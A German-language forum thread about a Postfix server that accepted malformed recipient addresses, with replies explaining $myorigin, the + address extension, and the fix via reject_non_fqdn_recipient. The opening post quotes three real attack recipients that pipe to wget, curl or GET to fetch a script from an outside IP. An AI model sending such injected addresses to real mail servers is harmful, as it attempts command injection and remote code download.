Postfix - Falsches Annahmeverhalten


#Reaper

New Member
Hi,

ich habe gestern meinen neuen Postfix-Server "in Betrieb" genommen. Genauer genommen, habe ich eine wenig benutzte Domain auf ihn umgestellt.
Nur leider musste ich heute früh schon ein Problem feststellen, und zwar akzeptiert er seltsamer weise (?) falsche RCPT-To-Adressen. Ein Beispiel was bei mir heute morgen im Postfach lag, mit folgenden Empfängeradressen:
Code:
<root+:|wget http://61.100.185.177/busy-1.php>
<root+:|curl http://61.100.185.177/busy-3.php>
<root+:|GET http://61.100.185.177/busy-2.php>
Ich bin (leider) kein Mail-Guru, aber ist es normal, dass ein Mail-Server alle Adressen akzeptiert, wenn kein @ darin vorkommt? Ich nehme mal sehr stark an, dass ich was an meinem Mail-Server falsch konfiguriert habe.
Könnte es ggf. daran liegen, dass ich auf zwei bestimmte Domains (von mehreren) alle Adressen akzeptiere? Also quasi *@example.org.


Hier mal meine main.cf (leicht abgeändert):
Code:
# See /usr/share/postfix/main.cf.dist for a commented, more complete version


# Debian specific:  Specifying a file name will cause the first
# line of that file to be used as the name.  The Debian default
# is /etc/mailname.
#myorigin = /etc/mailname

smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)
biff = no

# appending .domain is the MUA's job.
append_dot_mydomain = no

# Uncomment the next line to generate "delayed mail" warnings
delay_warning_time = 4h
maximal_queue_lifetime = 5d

# TLS parameters
smtpd_tls_CAfile = /etc/postfix/ssl/cacert.pem
smtpd_tls_cert_file = /etc/postfix/ssl/postfix-cert.pem
smtpd_tls_key_file = /etc/postfix/ssl/postfix-key.pem
smtpd_use_tls=yes
smtpd_tls_session_cache_database = btree:${queue_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:${queue_directory}/smtp_scache

# See /usr/share/doc/postfix/TLS_README.gz in the postfix-doc package for
# information on enabling SSL in the smtp client.

myhostname = vs123.example.org
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = /etc/mailname
mydestination = localhost, vs123.example.org, mydomain1.de, my-domain2.de
 #auskommentierte-domain.de
#virtual_alias_domains = vs123.example.org, my-domain2.de
virtual_alias_maps = hash:/etc/postfix/virtual

relay_domains = localhost
relayhost = 
#mynetworks = 0/0
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all

message_size_limit = 104857600



# Setting up SMTP authentication. 
smtpd_sasl_auth_enable = yes 
smtpd_sasl_security_options = noanonymous 
broken_sasl_auth_clients = yes 
smtpd_recipient_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination

unknown_local_recipient_reject_code = 450
(Nein, bitte nicht schlagen o_O)

Meine derzeitige /etc/postfix/virtual
Code:
@vs123.example.org			mail01
@mydomain1.de			mail01
[email protected]	mail01
[email protected]	mail01

Ansonsten läuft er einwandfrei, und laut diversen Online-Tests lässt er sich auch nicht als Relay-Server missbrauchen.

Würde mich über hilfe freuen!
Danke! :)


MfG
#Reaper
 
Die Mail-Server verständigen sich im SMTP-Protokoll über den Empfänger einer Mail (Envelope-Empfänger) - dieser muß aber nicht mit dem im Mail-Header identisch sein (welchen dir dein E-Mail-Programm anzeigt). Ein Beispiel sind Mailinglisten, dort steht als Empfänger oft nur die Listen-Adresse drin - Oder wenn du einen Empfänger per BCC: adressierst, wird dessen Adresse auch nicht angezeigt.
Ich könnte mir vorstellen, daß es SMTP-Server und/oder Mail-Clients gibt, die mit diesen komischen Empfängern, wie du sie da bekommen hast, was ungesundes anstellen - und das einfach nur getestet wurde, ob dein Server für eine solche Lücke anfällig ist.
 
Danke für deine Antwort.
Ich verstehe was du meinst, allerdings habe ich das schon ausgeschlossen. Ich habe es direkt via Telnet getestet, mein Server akzeptiert tatsächlich die oben angegeben Adressen im "RCTP TO:"-Teil des SMTP-Protokolls.
Im übrigen hat die Attacke zum Glück nicht funktioniert, habe es mit 127.0.0.1 probiert, ohne Erfolg.
Ich werde es dann mal testen, ob es auch noch funktioniert, wenn keine Wildcard-Adressen mehr existieren. Daran sollte es aber eigentlich ja nicht liegen. :-/
 
IIRC wird bei E-Mail-Adressen ohne Domain (also nur der local-Part ohne @irgendwas.de) die Domain von $myorigin angenommen - und auf die hast du ja auch einen Wildcard verwendet, denn ich vermute in deiner /etc/mailname steht "vs123.example.com" drin. Ist auch OK, denn System-Mails wie z.B. von cron verwenden oft nur einen local-Part.
 
Ich bin (leider) kein Mail-Guru, aber ist es normal, dass ein Mail-Server alle Adressen akzeptiert, wenn kein @ darin vorkommt?
Mit deiner Konfiguration: ja. Aber das kann man ja einfach abstellen.

In deinem Fall wurde die E-Mail an den Benutzer 'root' zugestellt. Du hast offenbar ein Alias für diesen Benutzer eingerichtet, so dass die E-Mails in dein Postfach ausgeliefert wurden. Der Teil nach dem + Zeichen (siehe recipient_delimiter) wird als Adresserweiterung interpretiert (z. B. um einen bestimmten Zielordner auszuweisen).
 
Danke euch beiden.
(@danton: ) Du hast recht, myorigin ist vs123.example.org. Wenn ich die Wildcard für diese Domain rausnehme, akzeptiert er auch nicht mehr alles.
Das es soetwas wie die Adresserweiterung gibt, wusste ich noch gar nicht. Wenn ich "reject_non_fqdn_recipient" aktiviere, habe ich allerdings die Sorge, dass ich ggf. nicht mehr alles empfange, was ich empfangen will. (Wer weiß schon, ob sich auch wirklich alle anderen Mailserver an FQDN halten..)
Der Benutzer "root" ist in der Datei /etc/aliases gelistet, diese ist allerdings noch fast komplett in ihrem ursprünglichem Zustand (von der Debian4-Installation mit ehemals Exim als Standardinstallation, mittlerweile Debian5).
Da ich ja ebenfalls virtual_aliases_maps verwende, benötige ich die alias_maps für Postfix eigentlich ja nicht mehr. Wobei sich da wieder die Frage stellt, ob er dann dennoch weiterhin E-Mails an System-User (root und weitere) akzeptiert oder nicht? Und ob Adressen wie "mailer-daemon" oder "postmaster" benötigt werden..? (Uff..)
Der lokale Versand (cron etc.) wird ja über "mail" abgewickelt und landet ja direkt in /var/mail.

Nunja, ich bedanke mich für eure Geduld und Mühe.. :) :o
Ich gebe mir ebenfalls Mühe, bin aber leider bisweilen schlichtweg mit der Einstellungsvielfallt von Postfix überfordert.. :-$

MfG
#Reaper


// Edit:
So, ich habe nun einfach mal "reject_non_fqdn_recipient" aktiviert und es scheint auch korrekt zu funktionieren. Wie ich die Linux-User aus der Emfangs-Tabelle herausbekomme, ist nun eh (ersteinmal zumindestens) nicht so wichtig. Würde ich dann auch schon nach entsprechenden Tutorials usw. hinbekommen. ;)
Ich bedanke mich nochmals für eure Hilfe. :)
 
Last edited by a moderator:

Back
Top